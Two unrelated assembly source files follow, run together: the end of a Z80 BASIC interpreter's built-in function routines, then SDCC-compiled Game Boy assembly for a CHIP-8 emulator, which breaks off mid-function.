DE EXX POP HL XOR A LD C,A RET ; ;TIME$ - Return date/time string. ;Result is string ; TIMEVS: INC IY ;SKIP $ CALL GETIMS LD A,80H ;MARK STRING RET ; ;String comparison: ; SLT: CALL SCP RET NC JR TRUE ; SGT: CALL SCP RET Z RET C JR TRUE ; SGE: CALL SCP RET C JR TRUE ; SLE: CALL SCP JR Z,TRUE RET NC JR TRUE ; SNE: CALL SCP RET Z JR TRUE ; SEQ: CALL SCP RET NZ TRUE: LD A,-1 EXX LD H,A LD L,A EXX LD H,A LD L,A INC A LD C,A RET ; ;PI - Return PI (3.141592654) ;Result is floating-point numeric. ; PI: LD A,35 JR FPP1 ; ;ABS - Absolute value ;Result is numeric, variable type. ; ABS: LD A,16 JR FPPN ; ;NOT - Complement integer. ;Result is integer numeric. ; NOT: LD A,26 JR FPPN ; ;DEG - Convert radians to degrees ;Result is floating-point numeric. ; DEG: LD A,21 JR FPPN ; ;RAD - Convert degrees to radians ;Result is floating-point numeric. ; RAD: LD A,27 JR FPPN ; ;SGN - Return -1, 0 or +1 ;Result is integer numeric. ; SGN: LD A,28 JR FPPN ; ;INT - Floor function ;Result is integer numeric. ; INT: LD A,23 JR FPPN ; ;SQR - square root ;Result is floating-point numeric. ; SQR: LD A,30 JR FPPN ; ;TAN - Tangent function ;Result is floating-point numeric. ; TAN: LD A,31 JR FPPN ; ;COS - Cosine function ;Result is floating-point numeric. ; COS: LD A,20 JR FPPN ; ;SIN - Sine function ;Result is floating-point numeric. ; SIN: LD A,29 JR FPPN ; ;EXP - Exponential function ;Result is floating-point numeric. ; EXP: LD A,22 JR FPPN ; ;LN - Natural log. ;Result is floating-point numeric. ; LN: LD A,24 JR FPPN ; ;LOG - base-10 logarithm. ;Result is floating-point numeric. ; LOG: LD A,25 JR FPPN ; ;ASN - Arc-sine ;Result is floating-point numeric. ; ASN: LD A,18 JR FPPN ; ;ATN - arc-tangent ;Result is floating-point numeric. ; ATN: LD A,19 JR FPPN ; ;ACS - arc-cosine ;Result is floating point numeric. ; ACS: LD A,17 FPPN: PUSH AF CALL ITEMN POP AF FPP1: CALL FPP JP C,ERROR XOR A RET ; ;SFIX - Convert to fixed-point notation ; SFIX: LD A,38 JR FPP1 ; ;SFLOAT - Convert to floating-point notation ; SFLOAT: LD A,39 JR FPP1 ; ;VAL - Return numeric value of string. ;Result is variable type numeric. ; VAL: CALL ITEMS VAL0: XOR A LD (DE),A LD IX,ACCS LD A,36 JR FPP1 ; ;EVAL - Pass string to expression evaluator. ;Result is variable type (numeric or string). ; EVAL: CALL ITEMS LD A,CR LD (DE),A PUSH IY LD DE,ACCS LD IY,ACCS LD C,0 CALL LEXAN2 ;TOKENISE LD (DE),A INC DE XOR A CALL PUSHS ;PUT ON STACK LD IY,2 ADD IY,SP CALL EXPR POP IY ADD IY,SP LD SP,IY ;ADJUST STACK POINTER POP IY EX AF,AF' RET ; ;RND - Random number function. ; RND gives random integer 0-&FFFFFFFF ; RND(-n) seeds random number & returns -n. ; RND(0) returns last value in RND(1) form. ; RND(1) returns floating-point 0-0.99999999. ; RND(n) returns random integer 1-n. ; RND: LD IX,RANDOM CALL NXT CP '(' JR Z,RND5 ;ARGUMENT FOLLOWS CALL LOAD5 RND1: RR C LD B,32 RND2: EXX ;CALCULATE NEXT ADC HL,HL EXX ADC HL,HL BIT 3,L JR Z,RND3 CCF RND3: DJNZ RND2 RND4: RL C ;SAVE CARRY CALL STORE5 ;STORE NEW NUMBER XOR A LD C,A RET RND5: CALL ITEMI LD IX,RANDOM BIT 7,H ;NEGATIVE? SCF JR NZ,RND4 ;SEED CALL TEST PUSH AF CALL SWAP EXX CALL LOAD5 CALL NZ,RND1 ;NEXT IF NON-ZERO EXX ;SCRAMBLE (CARE!) LD C,7FH RND6: BIT 7,H ;FLOAT JR NZ,RND7 EXX ADD HL,HL EXX ADC HL,HL DEC C JR NZ,RND6 RND7: RES 7,H ;POSITIVE 0-0.999999 POP AF RET Z ;ZERO ARGUMENT EXX LD A,E DEC A OR D EXX OR E OR D RET Z ;ARGUMENT=1 LD B,0 ;INTEGER MARKER LD A,10 CALL FPP ;MULTIPLY JP C,ERROR CALL SFIX JP ADD1 ; ;INSTR - String search. ;Result is integer numeric. ; INSTR: CALL EXPRSC ;STRING TO SEARCH CALL PUSHS ;SAVE STRING ON STACK CALL EXPRS ;SUB-STRING POP BC LD HL,0 ADD HL,SP ;HL ADDRESSES MAIN PUSH BC ;C = MAIN STRING LENGTH LD B,E ;B = SUB-STRING LENGTH CALL NXT CP ',' LD A,0 JR NZ,INSTR1 INC IY ;SKIP COMMA PUSH BC ;SAVE LENGTHS PUSH HL ;SAVE MAIN ADDRESS CALL PUSHS CALL EXPRI POP BC CALL POPS POP HL ;RESTORE MAIN ADDRESS POP BC ;RESTORE LENGTHS EXX LD A,L EXX OR A JR Z,INSTR1 DEC A INSTR1: LD DE,ACCS ;DE ADDRESSES SUB CALL SEARCH POP DE JR Z,INSTR2 ;N.B. CARRY CLEARED SBC HL,HL ADD HL,SP INSTR2: SBC HL,SP EX DE,HL LD H,0 ADD HL,SP LD SP,HL EX DE,HL CALL BRAKET JP COUNT1 ; ;SEARCH - Search string for sub-string ; Inputs: Main string at HL length C ; Sub-string at DE length B ; Starting offset A ; Outputs: NZ - not found ; Z - found at location HL-1 ; Carry always cleared ; SEARCH: PUSH BC LD B,0 LD C,A ADD HL,BC ;NEW START ADDRESS POP BC SUB C JR NC,SRCH4 NEG LD C,A ;REMAINING LENGTH SRCH1: LD A,(DE) PUSH BC LD B,0 CPIR ;FIND FIRST CHARACTER LD A,C POP BC JR NZ,SRCH4 LD C,A DEC B ;Bug fix CP B ;Bug fix INC B ;Bug fix JR C,SRCH4 ;Bug fix PUSH BC PUSH DE PUSH HL DEC B JR Z,SRCH3 ;FOUND ! SRCH2: INC DE LD A,(DE) CP (HL) JR NZ,SRCH3 INC HL DJNZ SRCH2 SRCH3: POP HL POP DE POP BC JR NZ,SRCH1 XOR A ;Z, NC RET ;FOUND ; SRCH4: OR 0FFH ;NZ, NC RET ;NOT FOUND ; ;CHR$ - Return character with given ASCII value. ;Result is string. ; CHRS: CALL ITEMI EXX LD A,L JR GET1 ; ;GET$ - Return key pressed as string. ;Result is string. ; GETS: CALL OSRDCH GET1: SCF JR INKEY1 ; ;INKEY$ - Wait up to n centiseconds for keypress. ; Return key pressed as string or null ; string if time elapsed. ;Result is string. ; INKEYS: CALL ITEMI EXX CALL OSKEY INKEY1: LD DE,ACCS LD (DE),A LD A,80H RET NC INC E RET ; ;MID$ - Return sub-string. ;Result is string. ; MIDS: CALL EXPRSC CALL PUSHS ;SAVE STRING ON STACK CALL EXPRI POP BC CALL POPS EXX LD A,L EXX OR A JR Z,MIDS1 DEC A LD L,A SUB E LD E,0 JR NC,MIDS1 NEG LD C,A CALL RIGHT1 MIDS1: CALL NXT CP ',' INC IY JR Z,LEFT1 DEC IY CALL BRAKET LD A,80H RET ; ;LEFT$ - Return left part of string. ;Carry cleared if entire string returned. ;Result is string. ; LEFTS: CALL EXPRSC LEFT1: CALL PUSHS ;SAVE STRING ON STACK CALL EXPRI POP BC CALL POPS CALL BRAKET EXX LD A,L EXX CP E JR NC,LEFT3 LD L,E ;FOR RIGHT$ LEFT2: LD E,A LEFT3: LD A,80H ;STRING MARKER RET ; ;RIGHT$ - Return right part of string. ;Result is string. ; RIGHTS: CALL LEFTS RET NC INC E DEC E RET Z LD C,E LD A,L SUB E LD L,A RIGHT1: LD B,0 LD H,D LD E,B LDIR ;MOVE LD A,80H RET ; ;STRING$ - Return n concatenations of a string. ;Result is string. ; STRING: CALL EXPRI CALL COMMA EXX LD A,L EXX PUSH AF CALL EXPRS CALL BRAKET POP AF OR A JR Z,LEFT2 ;N=0 DEC A LD C,A LD A,80H ;STRING MARKER RET Z INC E DEC E RET Z ;NULL STRING LD B,E LD H,D LD L,0 STRIN1: PUSH BC STRIN2: LD A,(HL) INC HL LD (DE),A INC E LD A,19 JP Z,ERROR ;"String too long" DJNZ STRIN2 POP BC DEC C JR NZ,STRIN1 LD A,80H RET ; ;SUBROUTINES ; ;SWAP - Swap arguments ;Exchanges DE,HL D'E',H'L' and B,C ;Destroys: A,B,C,D,E,H,L,D',E',H',L' ; SWAP: LD A,C LD C,B LD B,A EX DE,HL EXX EX DE,HL EXX RET ; ;TEST - Test HLH'L' for zero ;Outputs: Z-flag set & A=0 if zero ;Destroys: A,F ; TEST: LD A,H OR L EXX OR H OR L EXX RET ; ;DECODE - Decode line number in pseudo-binary. ; Inputs: IY = Text pointer. ; Outputs: HL=0, H'L'=line number, C=0. ; Destroys: A,C,H,L,H',L',IY,F ; DECODE: EXX LD A,(IY) INC IY RLA RLA LD H,A AND 0C0H XOR (IY) INC IY LD L,A LD A,H RLA RLA AND 0C0H XOR (IY) INC IY LD H,A EXX XOR A LD C,A LD H,A LD L,A RET ; ;HEXSTR - convert numeric value to HEX string. ; Inputs: HLH'L'C = integer or floating-point number ; Outputs: String in string accumulator. ; E = string length. D = ACC$/256 ; HEXSTS: INC IY ;SKIP TILDE CALL ITEMN CALL HEXSTR LD A,80H RET ; HEXSTR: CALL SFIX LD BC,8 LD DE,ACCS HEXST1: PUSH BC LD B,4 XOR A HEXST2: EXX ADD HL,HL EXX ADC HL,HL RLA DJNZ HEXST2 POP BC DEC C RET M JR Z,HEXST3 OR A JR NZ,HEXST3 CP B JR Z,HEXST1 HEXST3: ADD A,90H DAA ADC A,40H DAA LD (DE),A INC DE LD B,A JR HEXST1 ; ;Function STR - convert numeric value to ASCII string. ; Inputs: HLH'L'C = integer or floating-point number. ; Outputs: String in string accumulator. ; E = length, D = ACC$/256 ; A = 80H (type=string) ; ;First normalise for decimal output: ; STRS: CALL NXT CP '~' JR Z,HEXSTS CALL ITEMN LD IX,STAVAR LD A,(IX+3) OR A LD IX,G9-1 ;G9 FORMAT JR Z,STR0 STR: LD IX,STAVAR STR0: LD DE,ACCS LD A,37 CALL FPP JP C,ERROR BIT 0,(IX+2) STR1: LD A,80H ;STRING MARKER RET Z LD A,C ADD A,4 STR2: CP E JR Z,STR1 EX DE,HL LD (HL),' ' ;TRAILING SPACE INC HL EX DE,HL JR STR2 ; G9: DEFW 9 ; ;STRING COMPARE ;Compare string (DE) length B with string (HL) length C. ;Result preset to false. ; SCP: CALL SCP0 ZERO: LD A,0 EXX LD H,A LD L,A EXX LD H,A LD L,A LD C,A RET ; SCP0: INC B INC C SCP1: DEC B JR Z,SCP2 DEC C JR Z,SCP3 LD A,(DE) CP (HL) RET NZ INC DE INC HL JR SCP1 SCP2: OR A DEC C RET Z SCF RET SCP3: OR A INC C RET ; ;PUSH$ - SAVE STRING ON STACK. ; Inputs: String in string accumulator. ; E = string length. ; A - saved on stack. ; Destroys: B,C,D,E,H,L,IX,SP,F ; PUSHS: CALL CHECK POP IX ;RETURN ADDRESS OR A ;CLEAR CARRY LD HL,ACCS LD D,H LD B,L ;B=0 SBC HL,DE ADD HL,SP LD SP,HL LD D,A PUSH DE JR Z,PUSHS1 ;ZERO LENGTH LD C,E LD DE,ACCS EX DE,HL LDIR ;COPY TO STACK CALL CHECK PUSHS1: JP (IX) ;"RETURN" ; ;POP$ - RESTORE STRING FROM STACK. ; Inputs: C = string length. ; Outputs: String in string accumulator. ; E = string length. ; Destroys: B,C,D,E,H,L,IX,SP,F ; POPS: POP IX ;RETURN ADDRESS LD HL,0 LD B,H ;B=0 ADD HL,SP LD DE,ACCS INC C DEC C JR Z,POPS1 ;ZERO LENGTH LDIR ;COPY FROM STACK POPS1: LD SP,HL JP (IX) ;"RETURN" ; HEXDIG: LD A,(IY) CP '0' RET C CP '9'+1 CCF RET NC CP 'A' RET C SUB 'A'-10 CP 16 CCF RET ; RELOPQ: CP '>' RET NC CP '=' RET NC CP '<' RET ; EXPRSC: CALL EXPRS COMMA: CALL NXT INC IY CP ',' RET Z LD A,5 JR ERROR1 ;"Missing ," ; BRAKET: CALL NXT INC IY CP ')' RET Z LD A,27 ERROR1: JP ERROR ;"Missing )" ; SAVE: INC IY SAVE1: EX AF,AF' JP M,TYPE EX AF,AF' EX (SP),HL EXX PUSH HL EXX PUSH AF PUSH BC JP (HL) ; DOIT: EX AF,AF' JP M,TYPE EXX POP BC ;RETURN ADDRESS EXX LD A,C POP BC LD B,A POP AF ;OPERATOR EXX EX DE,HL POP HL EXX EX DE,HL POP HL EXX PUSH BC EXX AND 0FH CALL FPP JR C,ERROR1 XOR A EX AF,AF' ;TYPE LD A,(IY) RET ; NXT: LD A,(IY) CP ' ' RET NZ INC IY JR NXT ; DISPT2: PUSH HL LD HL,SOPTBL JR DISPT0 ; DISPAT: PUSH HL SUB TKE_FIRST LD HL,FUNTBL DISPT0: PUSH BC ADD A,A LD C,A LD B,0 ADD HL,BC LD A,(HL) INC HL LD H,(HL) LD L,A POP BC EX (SP),HL RET ;OFF TO ROUTINE
output/out/main.asm
elseyf/gb8
16
1547
;-------------------------------------------------------- ; File Created by SDCC : free open source ANSI-C Compiler ; Version 3.7.1 #10455 (MINGW64) ;-------------------------------------------------------- .module main .optsdcc -mgbz80 ;-------------------------------------------------------- ; Public variables in this module ;-------------------------------------------------------- .globl _main .globl _key_hold .globl _read_joypad .globl _set_bg_map_tile .globl _set_bg_chr .globl _fill .globl _fastcpy .globl _set_bg_map_select .globl _gb8_display .globl _gb8_mem .globl _gb8_sound_timer .globl _gb8_delay_timer .globl _gb8_i .globl _gb8_seed .globl _gb8_v .globl _gb8_stack_p .globl _gb8_stack .globl _gb8_pc .globl _sp_buffer .globl _gb8_font .globl _gb8_key_map .globl _gb8_clear_screen .globl _gb8_get_key .globl _gb8_draw_sprite .globl _gb8_bcd_vx .globl _gb8_rnd .globl _gb8_step ;-------------------------------------------------------- ; special function registers ;-------------------------------------------------------- ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- .area _DATA _sp_buffer:: .ds 2 _gb8_pc:: .ds 2 _gb8_stack:: .ds 64 _gb8_stack_p:: .ds 1 _gb8_v:: .ds 16 _gb8_seed:: .ds 1 _gb8_i:: .ds 2 _gb8_delay_timer:: .ds 1 _gb8_sound_timer:: .ds 1 _gb8_mem:: .ds 4096 _gb8_display = 0xd800 ;-------------------------------------------------------- ; absolute external ram data ;-------------------------------------------------------- .area _DABS (ABS) ;-------------------------------------------------------- ; global & static initialisations ;-------------------------------------------------------- .area _HOME .area _GSINIT .area _GSFINAL .area _GSINIT ;-------------------------------------------------------- ; Home ;-------------------------------------------------------- .area _HOME .area _HOME ;-------------------------------------------------------- ; code ;-------------------------------------------------------- .area _CODE ;src/main.c:143: void main(){ ; --------------------------------- ; Function main ; --------------------------------- _main:: add sp, #-6 ;src/gb.h:141: inline bool display_state(){return (*reg(REG_LCDC) & LCDC_DISPLAY_ENABLE);} ld de, #0xff40 ld a,(de) ld c,a rlc a and a, #0x01 ;src/gb.h:144: if(display_state()){ bit 0, a jr Z,00121$ ;src/gb.h:145: while((*reg(REG_LCD_STAT) & LCD_STAT_MODE_FLAG) != 1); *reg(REG_LCDC) &= ~LCDC_DISPLAY_ENABLE; 00116$: ld de, #0xff41 ld a,(de) ld c, a ld b, #0x00 ld a, c and a, #0x03 ld c, a ld b, #0x00 ld a, c dec a or a, b jr NZ,00116$ ld de, #0xff40 ld a,(de) res 7, a ld hl, #0xff40 ld (hl), a ;src/main.c:144: disable_display(); 00121$: ;src/main.c:145: fastcpy(HRAM, oam_dma_wait, oam_dma_wait_size); ld hl, #_oam_dma_wait_size ld c, (hl) ld b, #0x00 push bc ld hl, #_oam_dma_wait push hl ld hl, #0xff80 push hl call _fastcpy add sp, #6 ;src/main.c:147: vblank_happened = false; ld hl, #_vblank_happened ld (hl), #0x00 ;src/gb.h:157: inline void enable_lcd_stat_int(uint8_t _int){*reg(REG_LCD_STAT) |= _int;} ld de, #0xff41 ld a,(de) or a, #0x48 ld hl, #0xff41 ld (hl), a ;src/gb.h:159: inline void set_lyc(uint8_t _lyc){*reg(REG_LYC) = _lyc;} ld l, #0x45 ld (hl), #0x91 ;src/gb.h:167: inline void set_bg_pal(uint8_t _data){*reg(REG_BGP) = bg_pal = _data;} ld hl, #_bg_pal ld (hl), #0xf0 ld hl, #0xff47 ld (hl), #0xf0 ;src/gb.h:168: inline void set_obj_pal0(uint8_t _data){*reg(REG_OBP0) = obj_pal0 = _data;} ld hl, #_obj_pal0 ld (hl), #0xe4 ld hl, #0xff48 ld (hl), #0xe4 ;src/gb.h:169: inline void set_obj_pal1(uint8_t _data){*reg(REG_OBP1) = obj_pal1 = _data;} ld hl, #_obj_pal1 ld (hl), #0x27 ld hl, #0xff49 ld (hl), #0x27 ;src/main.c:155: set_bg_map_select(false); xor a, a push af inc sp call _set_bg_map_select inc sp ;src/main.c:156: set_bg_chr(bg_tiles, 0x0000, sizeof(bg_tiles)); ld hl, #0x1000 push hl ld h, #0x00 push hl ld hl, #_bg_tiles push hl call _set_bg_chr add sp, #6 ;src/main.c:157: fill(BG_MAP, 0x7F, 0x0400); ld hl, #0x0400 push hl ld a, #0x7f push af inc sp ld h, #0x98 push hl call _fill add sp, #5 ;src/gb.h:189: inline void set_bg_scroll(uint8_t _sx, uint8_t _sy){scroll_x = _sx; scroll_y = _sy;} ld hl, #_scroll_x ld (hl), #0x00 ld hl, #_scroll_y ld (hl), #0x00 ;src/main.c:160: for(uint8_t i = 0; i < 4; i++) ldhl sp,#5 ld (hl), #0x00 00139$: ldhl sp,#5 ld a, (hl) sub a, #0x04 jp NC, 00102$ ;src/main.c:161: for(uint8_t j = 0; j < 16; j++) dec hl ld (hl), #0x00 00136$: ldhl sp,#4 ld a, (hl) sub a, #0x10 jp NC, 00140$ ;src/main.c:162: set_bg_map_tile_xy(j + 2, i + 8, ((i * 16) + j) & 0x1F); inc hl ld a, (hl) swap a and a, #0xf0 ld c, a dec hl ld e, (hl) ld a, c add a, e and a, #0x1f dec hl dec hl ld (hl), a ldhl sp,#5 ld a, (hl) add a, #0x08 inc e inc e ;src/gb.h:175: inline void set_bg_map_tile_xy(uint8_t _x, uint8_t _y, uint8_t _tile){set_bg_map_tile((_y << 5) + _x, _tile);} ld c, a ld b, #0x00 sla c rl b sla c rl b sla c rl b sla c rl b sla c rl b ldhl sp,#0 ld (hl), e inc hl ld (hl), #0x00 pop hl push hl add hl, bc ld c, l ld b, h ldhl sp,#2 ld a, (hl) push af inc sp push bc call _set_bg_map_tile add sp, #3 ;src/main.c:161: for(uint8_t j = 0; j < 16; j++) ldhl sp,#4 inc (hl) jp 00136$ 00140$: ;src/main.c:160: for(uint8_t i = 0; i < 4; i++) ldhl sp,#5 inc (hl) jp 00139$ 00102$: ;src/gb.h:153: inline void disable_obj(){*reg(REG_LCDC) &= ~LCDC_OBJ_ENABLE;} ld de, #0xff40 ld a,(de) res 1, a ld hl, #0xff40 ld (hl), a ;src/gb.h:151: inline void disable_win(){*reg(REG_LCDC) &= ~LCDC_WIN_ENABLE;} ld de, #0xff40 ld a,(de) res 5, a ld l, #0x40 ld (hl), a ;src/gb.h:148: inline void enable_bg(){*reg(REG_LCDC) |= LCDC_BG_ENABLE;} ld de, #0xff40 ld a,(de) ld c, a ld b, #0x00 set 0, c ld l, #0x40 ld (hl), c ;src/gb.h:142: inline void enable_display(){*reg(REG_LCDC) |= LCDC_DISPLAY_ENABLE;} ld de, #0xff40 ld a,(de) ld c, a ld b, #0x00 set 7, c ld l, #0x40 ld (hl), c ;src/main.c:169: fastcpy(&gb8_mem, &gb8_font, sizeof(gb8_font)); ld hl, #0x0050 push hl ld hl, #_gb8_font push hl ld hl, #_gb8_mem push hl call _fastcpy add sp, #6 ;src/main.c:170: fastcpy(&gb8_mem + GB8_PROGRAM_START, &rom, sizeof(rom)); ld hl, #0x0e00 push hl ld hl, #_rom push hl ld hl, #(_gb8_mem + 0x0200) push hl call _fastcpy add sp, #6 ;src/main.c:171: gb8_pc = GB8_PROGRAM_START; ld hl, #_gb8_pc ld (hl), #0x00 inc hl ld (hl), #0x02 ;src/main.c:172: gb8_stack_p = 0; ld hl, #_gb8_stack_p ld (hl), #0x00 ;src/main.c:173: for(uint8_t i = 0; i < 16; i++) gb8_v[i] = 0; ldhl sp,#3 ld (hl), #0x00 00142$: ldhl sp,#3 ld a, (hl) sub a, #0x10 jr NC,00103$ ld de, #_gb8_v ld l, (hl) ld h, #0x00 add hl, de ld c, l ld b, h xor a, a ld (bc), a ldhl sp,#3 inc (hl) jr 00142$ 00103$: ;src/main.c:174: gb8_i = 0; ld hl, #_gb8_i ld (hl), #0x00 inc hl ld (hl), #0x00 ;src/main.c:175: gb8_delay_timer = 0; ld hl, #_gb8_delay_timer ld (hl), #0x00 ;src/main.c:176: gb8_sound_timer = 0; ld hl, #_gb8_sound_timer ld (hl), #0x00 ;src/gb.h:137: inline void clear_int_request_flags(){*reg(REG_IF) = 0x00;} ld hl, #0xff0f ld (hl), #0x00 ;src/gb.h:135: inline void enable_int(uint8_t _int){*reg(REG_IE) |= _int;} ld de, #0xffff ld a,(de) or a, #0x03 ld l, #0xff ld (hl), a ;src/main.c:180: ei(); ei ;src/main.c:183: while(!vblank_happened) halt(); 00104$: ld hl, #_vblank_happened bit 0, (hl) jr NZ,00106$ halt nop jr 00104$ 00106$: ;src/main.c:184: vblank_happened = false; ld hl, #_vblank_happened ld (hl), #0x00 ;src/main.c:185: read_joypad(); call _read_joypad ;src/main.c:187: for(uint8_t i = 0; i < GB8_INSTR_PER_FRAME; i++) gb8_step(); ld c, #0x00 00145$: ld a, c sub a, #0x07 jr NC,00107$ push bc call _gb8_step pop bc inc c jr 00145$ 00107$: ;src/main.c:189: if(gb8_delay_timer > 0) gb8_delay_timer--; ld hl, #_gb8_delay_timer ld a, (hl) or a, a jr Z,00109$ dec (hl) 00109$: ;src/main.c:190: if(gb8_sound_timer > 0) gb8_sound_timer--; ld hl, #_gb8_sound_timer ld a, (hl) or a, a jr Z,00104$ dec (hl) jr 00104$ ;src/main.c:195: } add sp, #6 ret _gb8_key_map: .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x02 ; 2 .db #0x40 ; 64 .db #0x01 ; 1 .db #0x20 ; 32 .db #0x80 ; 128 .db #0x10 ; 16 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 _gb8_font: .db #0xf0 ; 240 .db #0x90 ; 144 .db #0x90 ; 144 .db #0x90 ; 144 .db #0xf0 ; 240 .db #0x20 ; 32 .db #0x60 ; 96 .db #0x20 ; 32 .db #0x20 ; 32 .db #0x70 ; 112 'p' .db #0xf0 ; 240 .db #0x10 ; 16 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0xf0 ; 240 .db #0x10 ; 16 .db #0xf0 ; 240 .db #0x10 ; 16 .db #0xf0 ; 240 .db #0x90 ; 144 .db #0x90 ; 144 .db #0xf0 ; 240 .db #0x10 ; 16 .db #0x10 ; 16 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0x10 ; 16 .db #0xf0 ; 240 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0x90 ; 144 .db #0xf0 ; 240 .db #0xf0 ; 240 .db #0x10 ; 16 .db #0x20 ; 32 .db #0x40 ; 64 .db #0x40 ; 64 .db #0xf0 ; 240 .db #0x90 ; 144 .db #0xf0 ; 240 .db #0x90 ; 144 .db #0xf0 ; 240 .db #0xf0 ; 240 .db #0x90 ; 144 .db #0xf0 ; 240 .db #0x10 ; 16 .db #0xf0 ; 240 .db #0xf0 ; 240 .db #0x90 ; 144 .db #0xf0 ; 240 .db #0x90 ; 144 .db #0x90 ; 144 .db #0xe0 ; 224 .db #0x90 ; 144 .db #0xe0 ; 224 .db #0x90 ; 144 .db #0xe0 ; 224 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0x80 ; 128 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0xe0 ; 224 .db #0x90 ; 144 .db #0x90 ; 144 .db #0x90 ; 144 .db #0xe0 ; 224 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0x80 ; 128 ;src/main.c:197: void gb8_clear_screen(){ ; --------------------------------- ; Function gb8_clear_screen ; --------------------------------- _gb8_clear_screen:: ;src/main.c:198: fill(&gb8_display, 0x00, sizeof(gb8_display)); ld hl, #0x0200 push hl xor a, a push af inc sp ld hl, #_gb8_display push hl call _fill add sp, #5 ;src/main.c:199: } ret ;src/main.c:201: uint8_t gb8_get_key(uint8_t _key){ ; --------------------------------- ; Function gb8_get_key ; --------------------------------- _gb8_get_key:: ;src/main.c:202: return key_hold(gb8_key_map[_key]); ld de, #_gb8_key_map ldhl sp,#2 ld l, (hl) ld h, #0x00 add hl, de ld c, l ld b, h ld a, (bc) push af inc sp call _key_hold inc sp ;src/main.c:203: } ret ;src/main.c:205: void gb8_draw_sprite(uint8_t _px, uint8_t _py, uint8_t _n){ ; --------------------------------- ; Function gb8_draw_sprite ; --------------------------------- _gb8_draw_sprite:: ;src/main.c:418: __endasm; line = 0 qbyte = 1 px = 7 py = 8 n = 9 dest_p = 2 src_b = 0 add sp, #-5 ld hl, #(_gb8_v + 0x0F) ;gb8_v[0xF] = 0 ld (hl), #0 ld bc, #_gb8_display ;dest_p = dest pixel in display ldhl sp, #py ld a, (hl) ld hl, #0 bit 3, a jr z, 20$ inc h 20$: bit 4, a jr z, 21$ inc l 21$: and #0x07 add a add l ld l, a add hl, bc ld b, h ld c, l ldhl sp, #px ld a, (hl) and #0x38 sla a sla a ld l, a ld h, #0 add hl, bc ld b, h ld c, l push bc ld de, #_gb8_mem ;src_b = src byte from font ld hl, #_gb8_i ld a, (hl+) ld h, (hl) ld l, a add hl, de ld d, h ld e, l push de ldhl sp, #(n + 4) ld a, (hl) and #0x0F ld (hl), a jp z, 10$ ldhl sp, #(line + 4) ld (hl), #0 0$: ldhl sp, #src_b ld a, (hl+) ld h, (hl) ld l, a ld c, (hl) ld b, #0 sla c rl b ld hl, #_pixel_scale_table add hl, bc ld a, (hl+) ld c, a ld b, (hl) xor a ld e, a ld d, a ldhl sp, #(px + 4) ld a, (hl) and #0x07 jr z, 2$ 1$: srl c rr b rr e rr d srl c rr b rr e rr d dec a jr nz, 1$ 2$: ldhl sp, #(qbyte + 4) ld a, c ld (hl+), a ld a, b ld (hl+), a ld a, e ld (hl+), a ld (hl), d ldhl sp, #(py + 4) ld a, (hl) ldhl sp, #(line + 4) ld d, (hl) add (hl) ld e, a ldhl sp, #dest_p ld a, (hl+) ld b, (hl) ld c, a ld a, d add a add c and #0x0F ld d, a ld a, c and #0xF0 add d ld c, a ld a, b bit 3, e jr z, 40$ or #0x01 jr 41$ 40$:and #0xFE 41$: ld b, a ld a, c bit 4, e jr z, 42$ or #0x01 jr 43$ 42$:and #0xFE 43$: ld c, a ld e, #0 ldhl sp, #(qbyte + 4 + 0) ld a, (bc) ld d, a xor (hl) ld (bc), a ld a, (hl+) and d jr z, 30$ ld e, #1 30$: ld a, c add #16 ld c, a ld a, (bc) ld d, a xor (hl) ld (bc), a ld a, (hl+) and d jr z, 31$ ld e, #1 31$: ld a, c add #16 ld c, a ld a, (bc) ld d, a xor (hl) ld (bc), a ld a, (hl+) and d jr z, 32$ ld e, #1 32$: ld a, c add #16 ld c, a ld a, (bc) ld d, a xor (hl) ld (bc), a ld a, (hl+) and d jr z, 33$ ld e, #1 33$: ld a, c add #16 ld c, a ld hl, #(_gb8_v + 0x0F) ;gb8_v[0xF] = e ld a, (hl) or e ld (hl), a 4$: ldhl sp, #src_b inc (hl) jr nz, 5$ inc hl inc (hl) 5$: ldhl sp, #(line + 4) inc (hl) 9$: ldhl sp, #(n + 4) dec (hl) jp nz, 0$ 10$: add sp, #9 ;src/main.c:419: } ret ;src/main.c:421: void gb8_bcd_vx(uint8_t _vx){ ; --------------------------------- ; Function gb8_bcd_vx ; --------------------------------- _gb8_bcd_vx:: ;src/main.c:462: __endasm; vx = 2 ldhl sp, #vx ld l, (hl) ld h, #0 ld bc, #_gb8_v add hl, bc ld e, (hl) ld hl, #_gb8_mem ld a, (_gb8_i) ld c, a ld a, (_gb8_i + 1) ld b, a add hl, bc ld a, e ld d, #-100 call 10$ ld (hl), b inc hl ld d, #-10 call 10$ ld (hl), b inc hl ld d, #-1 call 10$ ld (hl), b ret 10$: ld b, #-1 11$: inc b add d jr c, 11$ sbc d ret ;src/main.c:463: } ret ;src/main.c:465: uint8_t gb8_rnd(){ ; --------------------------------- ; Function gb8_rnd ; --------------------------------- _gb8_rnd:: ;src/main.c:480: __endasm; ld a, (_gb8_seed) ld b, a rrca rrca rrca xor #0x1F add b sbc #0xFF ld e, a ldh a, (0xFF04) add e ld (_gb8_seed), a ld e, a ;src/main.c:481: } ret ;src/main.c:483: void gb8_step(){ ; --------------------------------- ; Function gb8_step ; --------------------------------- _gb8_step:: add sp, #-12 ;src/main.c:484: uint8_t _instr_hi = gb8_mem[gb8_pc++]; ld hl, #_gb8_pc + 1 dec hl ld c, (hl) inc hl ld b, (hl) dec hl inc (hl) jr NZ,00376$ inc hl inc (hl) 00376$: ld hl, #_gb8_mem add hl, bc ld c, l ld b, h ld a, (bc) ldhl sp,#10 ld (hl), a ;src/main.c:485: uint8_t _instr_lo = gb8_mem[gb8_pc++]; ld hl, #_gb8_pc + 1 dec hl ld c, (hl) inc hl ld b, (hl) dec hl inc (hl) jr NZ,00377$ inc hl inc (hl) 00377$: ld hl, 